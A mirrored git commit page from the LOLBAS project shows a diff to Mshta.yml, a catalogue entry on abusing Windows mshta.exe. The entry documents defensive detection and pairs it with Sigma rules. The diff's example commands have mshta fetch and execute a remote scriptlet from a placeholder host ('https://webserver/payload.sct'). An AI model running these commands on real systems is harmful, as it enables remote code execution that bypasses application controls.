public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-07-27 04:32:24 +02:00
Code Issues Projects Releases Wiki Activity

Addressing @bohops's feedback

Browse Source
This commit is contained in:
Wietze
2022-05-05 11:12:22 +01:00
parent 085aaa37b1
commit b92ee99627
11 changed files with 25 additions and 45 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
yml/OSBinaries/Mshta.yml
View File

@@ -11,14 +11,14 @@ Commands:
Privileges: User
MitreID: T1218.005
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- Command: mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
- Command: mshta.exe vbscript:Close(Execute("GetObject(""script:https://webserver/payload.sct"")"))
Description: Executes VBScript supplied as a command line argument.
Usecase: Execute code
Category: Execute
Privileges: User
MitreID: T1218.005
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- Command: mshta.exe javascript:a=GetObject("script:https://webserver/payload.sct").Exec();close();
Description: Executes JavaScript supplied as a command line argument.
Usecase: Execute code
Category: Execute
@@ -36,7 +36,7 @@ Full_Path:
- Path: C:\Windows\System32\mshta.exe
- Path: C:\Windows\SysWOW64\mshta.exe
Code_Sample:
- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct
- Code: https://gist.github.com/bohops/6ded40c4989c673f2e30b9a6c1985019
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/05c58b4892942c34bfa01e9ada88ef2663858e1c/rules/windows/process_creation/win_susp_mshta_pattern.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_invoke_obfuscation_via_use_mhsta.yml